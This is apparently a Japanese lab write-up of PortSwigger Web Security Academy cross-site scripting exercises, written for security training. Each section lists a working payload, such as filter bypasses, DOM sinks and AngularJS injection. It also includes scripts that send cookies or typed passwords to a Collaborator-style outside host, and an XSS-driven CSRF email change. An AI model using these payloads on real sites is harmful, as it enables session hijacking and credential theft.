---
# System prepended metadata

title: Web Security Academy XSS Writeup
tags: [Web Security Academy]

---

# Web Security Academy XSS Writeup

[toc]

## Reflected XSS into HTML context with nothing encoded

Blogの検索機能に対して、`<script>alert(document.domain)</script>`で終わり。

![image](https://hackmd.io/_uploads/rJYGth8dT.png)

## Stored XSS into HTML context with nothing encoded

![image](https://hackmd.io/_uploads/HyUuK3Idp.png)

![image](https://hackmd.io/_uploads/S1yYt2LO6.png)

##  DOM XSS in document.write sink using source location.search

```javascript

function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    trackSearch(query);
}                    
```

search parameterのvalue部を取得し、`<img src`の一部とするもの。

`"><script>alert(document.domain)</script>`で終わり

![image](https://hackmd.io/_uploads/Hyup5hLdp.png)

## DOM XSS in innerHTML sink using source location.search

```javascript
<script>
 function doSearchQuery(query) {
     document.getElementById('searchMessage').innerHTML = query;
 }
 var query = (new URLSearchParams(window.location.search)).get('search');
 if(query) {
     doSearchQuery(query);
 }
</script>
```

前回と特に変わりはないが、`innerHTML`を使っているためscript tagはだめ。

となると`<img src=x onerror=alert(document.domain)>`で終わり。

![image](https://hackmd.io/_uploads/r1hqihUd6.png)

## DOM XSS in jQuery anchor href attribute sink using location.search source

```javascript
<script>
    $(function() {
        $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
    });
</script>
```

returnPathパラメータの値を取得し、`<a id="backLink">Back</a>`のhrefに設定している。

`javascript:alert(document.domain)`をreturnPathのvalueにして`< Back`を押下すればよし。

![image](https://hackmd.io/_uploads/Sy0n3hIup.png)

## DOM XSS in jQuery selector sink using a hashchange event

```htmlembedded
 <script>
    $(window).on('hashchange', function(){
        var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
        if (post) post.get(0).scrollIntoView();
    });
</script>
```


自動スクロールしてくれるような感じ。


`#<img src=x onerror=alert(1)>`とするとpop upが出ることを確認できる。

![image](https://hackmd.io/_uploads/B1K0z6LOT.png)

これをexploit serverから行う必要があるため、

```htmlembedded
<iframe src="https://0a95001303ec40a880b8216a00060005.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
```

これで終わり。

## Reflected XSS into attribute with angle brackets HTML-encoded

`se0r12`と検索に打ち込むと

```htmlembedded!
<section class=blog-header>
     <h1>0 search results for 'se0r12'</h1>
     <hr>
</section>
<section class=search>
    <form action=/ method=GET>
        <input type=text placeholder='Search the blog...' name=search value="se0r12">
```

と、htmlのattribute内に反映していることがわかる。

`se0r12"hoge`とすると

```htmlembedded=
<input type=text placeholder='Search the blog...' name=search value="se0r12"hoge">
```


のようにいい感じである。

ただし、`><`はエスケープされてしまうので、

`se0r12"onmouseover="alert(1)`で良し。

```htmlembedded=
<input type=text placeholder='Search the blog...' name=search value="se0r12"onmouseover="alert(1)">
```

## Stored XSS into anchor href attribute with double quotes HTML-encoded

![image](https://hackmd.io/_uploads/SJCLgAdcp.png)

このようにして登録すると、

```htmlembedded=
<a id="author" href="sakr4">sakr2</a>
```

のように反映する。

`javascript:alert(1)`で良さそう。

![image](https://hackmd.io/_uploads/B1hqxR_5a.png)

## Reflected XSS into a JavaScript string with angle brackets HTML encoded

```htmlembedded=
<script>
     var searchTerms = 'sakr';
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```

script tagに反映するタイプ。

`sakr'hoge`をいれると、

```htmlembedded=
var searchTerms = 'sakr'hoge';
```

抜け出せている。

つまりこれで良し。

```htmlmixed!
sakr';alert(1);//
```

## DOM XSS in document.write sink using source location.search inside a select element

```htmlemmbeded=
<script>
    var stores = ["London","Paris","Milan"];
    var store = (new URLSearchParams(window.location.search)).get('storeId');
    document.write('<select name="storeId">');
    if(store) {
        document.write('<option selected>'+store+'</option>');
    }
    for(var i=0;i<stores.length;i++) {
        if(stores[i] === store) {
            continue;
        }
        document.write('<option>'+stores[i]+'</option>');
    }
    document.write('</select>');
</script>
```

storeを制御できたら良さそう。

storeはというと、`(new URLSearchParams(window.location.search)).get('storeId');`部分


location.searchからstoreIdパラメータの値を抜き出しているように見える。

試しに、以下の様にアクセスし、

`https://0a19002c04b3fd1d8033fdee002f0019.web-security-academy.net/product?productId=1&storeId=hoge`

`Console tab`で`(new URLSearchParams(window.location.search)).get('storeId'); `とうつと、`hoge`が返ってきた。

![image](https://hackmd.io/_uploads/H1-QXRdqa.png)

こうなれば勝利が確定しているも同然。

`<section>`内では`<img src=x onerror=alert(1)>`が発火しないので、そこだけ気をつけて。

`https://0a19002c04b3fd1d8033fdee002f0019.web-security-academy.net/product?productId=1&storeId=%3C/select%3E%3Cimg%20src=x%20onerror=alert(1)%3E`とすれば良し。

![image](https://hackmd.io/_uploads/Bk7DEAd9a.png)

## DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

```htmlembedded!
{{$on.constructor('alert(1)')()}}
```

やるだけ。

## Reflected DOM XSS

`/resources/js/searchResults.js`
```javascript!
eval('var searchResultsObj = ' + this.responseText);
```

なるほど。

`/search-results?search=`の結果がいい感じに入る。

`search=sakr`とすると

```json=
{"results":[],"searchTerm":"sakr"}
```

`sakr\"}`すると、抜け出せている。

```jsonld
{"results":[],"searchTerm":"sakr\\"}"}
```

となると、以下で終わり。

```htmlembedded
sakr\"};alert(1);//
```

![image](https://hackmd.io/_uploads/HyyD_Cd5p.png)

## Stored DOM XSS

コメントを投稿すると、以下のようになる。

```json=
{"avatar":"","website":"","date":"2024-02-01T08:53:09.804227160Z","body":"hoge","author":"hoge"}
```

`/resources/js/loadCommentsWithVulnerableEscapeHtml.js`が重要になりそうで、

このjsファイルの内部で気になるのはこれ。

```javascrpt
function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
}
```

`<>`をエスケープするっぽい。
が、この書き方って、一回しかされないはずなので、

`<><img src=x onerror=alert(1)>`

で終わり。

## Reflected XSS into HTML context with most tags and attributes blocked

`sakr<x>`とすると

```htmlembedded
0 search results for 'sakr<x>
```

とエスケープされていないことがわかる。

ので、`<script>alert(1)</script>`とするが

```text
"Tag is not allowed"
```

tagの制限がある。

`body`タグは、今回制限を受けないのでこれを使う。

また、attributeに対しても制限が課せられているが、`onbeforeinput`, `onbeforetoggle`, `onratechange`, `onresize`, `onscrollend`は課せられていない。

つまり、`body`タグと、これらイベントでXSSを起こす必要がある。

この中だとonsizeが使えそう。

```htmlembedded
<body onresize>
```

でポップアップを確認しておく。

![image](https://hackmd.io/_uploads/S1DBZJtqT.png)


今回は、被害者を作らないといけないので、やる。

```htmlembedded
<iframe src="https://0a2e00420406c0e3857bad1600620078.web-security-academy.net/?search=<body onresize='print()'" onload="this.style.width='100px'">
```


## Reflected XSS into HTML context with all tags blocked except custom ones

[Reflected XSS into HTML context with most tags and attributes blocked](#Reflected-XSS-into-HTML-context-with-most-tags-and-attributes-blocked)と同じように、`script`タグだめだが、`x`タグのようなカスタムタグは許され、エスケープはされていない。

試しに、

```htmlembedded
<sakr id="x" onfocus="alert(document.domain)" tabindex=1>#x';
```

を使ってみると、ポップアップが確認できた。

![image](https://hackmd.io/_uploads/SJIkEkK96.png)

```htmlembedded
<script>
location = 'https://0a4d002404e846a380dab26600900018.web-security-academy.net/?search=<sakr id="x" onfocus="alert(document.cookie)" tabindex=1>#x';
</script>
```

これで終わり。

## Reflected XSS with some SVG markup allowed

```htmlembedded
<script>alert(1)</script>
```

どうやらこれはTagが許可されていないみたい。

`animatetransform`, `image`, `svg`, `title`は許可されている。

これらを利用したペイロードがあるらしく以下を利用するとポップアップが確認できた。

```html!
<svg><animatetransform onbegin=alert(1) attributeName=transform>
```

![image](https://hackmd.io/_uploads/H1Iv_kY56.png)

## Reflected XSS in canonical link tag

```htmlembedded!
<link rel="canonical" href='https://0af6001a03cd733880ae5d95007e0020.web-security-academy.net/post?postId=2'/>
```

反映がだいぶ怪しい。

`&hoge='`としてアクセスすると

```htmlembedded!
<link rel="canonical" href='https://0af6001a03cd733880ae5d95007e0020.web-security-academy.net/post?postId=2&hoge=''/>
```

となる。

linkタグ内で抜けれない場合は、


```html!
'accesskey='x'onclick='alert(1)
```

を使う。

chromiumの`Alt+shift=x`で発火を確認できる。

![image](https://hackmd.io/_uploads/Sk3iYJFqT.png)


## Reflected XSS into a JavaScript string with single quote and backslash escaped

`sakr`で検索すると、

```htmlembedded
<script>
     var searchTerms = 'sakr';
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```

以下で終わり。

`</script><script>alert(1)</script>`


## Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

`sakr\'hoge`で

```javascript
var searchTerms = 'sakr\\'hoge';
```

と抜けれているので、`\';alert(1);//`で終わり。

## Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

website部に`https://hoge.com`とすると

```htmlembedded
  <a id="author" href="https://hoge.com" onclick="var tracker={track(){}};tracker.track('https://hoge.com');">
```

となっていることに気づける。

この時は、HTMLエンコードを利用してバイパスできる可能性があるので試す。

`&apos;-alert(1)-&apos;`

![image](https://hackmd.io/_uploads/Hkmo3Z6c6.png)

### Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

```javascript=
var message = `0 search results for 'sakr'`;
document.getElementById('searchMessage').innerText = message;
```

`${}`を使えば良い

`${alert(1)}`

## Exploiting cross-site scripting to steal cookies


XSSを見つける。

![image](https://hackmd.io/_uploads/HyVkRW696.png)

comment部が脆弱っぽい。

Burp Collaboratorのドメインを取得しておく。

```htmlembedded!
<script>
location = `http://(your collaborator domain)?${document.cookie}`
</script>
```

これで、sessionが送られてくるのでコピーして自身のセッションとして使うだけ。

## Exploiting cross-site scripting to capture passwords

https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords

Blog投稿の際の`Content`にXSSがあるので、以下を打ち込めば良し。

```htmlembedded
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR-DOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```

これでadministratorが何故かユーザ名・パスワードを入力する

## Exploiting XSS to perform CSRF

https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf

`Update email`をする際のリクエストでは`csrf`というトークンは消すことができないため、XSSでcsrfトークンを取得する必要がある。

そのトークンを取得してCSRFでメールアドレスを変更する。

ということで以下でおわり。

```javascript=
<script>
fetch("/my-account").then(response => response.text()).then(result => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(result, "text/html");
    
    const csrfInput = doc.querySelector("input[name='csrf']");
    const token = csrfInput ? csrfInput.value : null;
    console.log(token);
    fetch("/my-account/change-email", {
        method: "POST",
        headers: {
            "Content-Type":"application/x-www-form-urlencoded"
        },
        body: `email=malicious@example.com&csrf=${token}`
    })
});
</script>
```

## [TODO] Reflected XSS with AngularJS sandbox escape without strings

https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-without-strings

```html=
<script type="text/javascript" src="/resources/js/angular_1-4-4.js">
```

Response内に気になる表現が見えます。

```htmlembedded=
<section class=blog-header>
  <script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
      $scope.query = {};
      var key = 'search';
      $scope.query[key] = '';
      $scope.value = $parse(key)($scope.query);
  });
  </script>
  <h1 ng-controller=vulnCtrl>10 search results for {{value}}</h1>
  <hr>
</section>
```

`{{value}}`は、Anglularの式でしょうか。

## [TODO] Reflected XSS with AngularJS sandbox escape and CSP

https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-and-csp

## [TODO] https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked

https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked

## [TODO] Reflected XSS in a JavaScript URL with some characters blocked

https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked

## [TODO] Reflected XSS protected by very strict CSP, with dangling markup attack
https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack

## [TODO] Reflected XSS protected by CSP, with CSP bypass

https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass

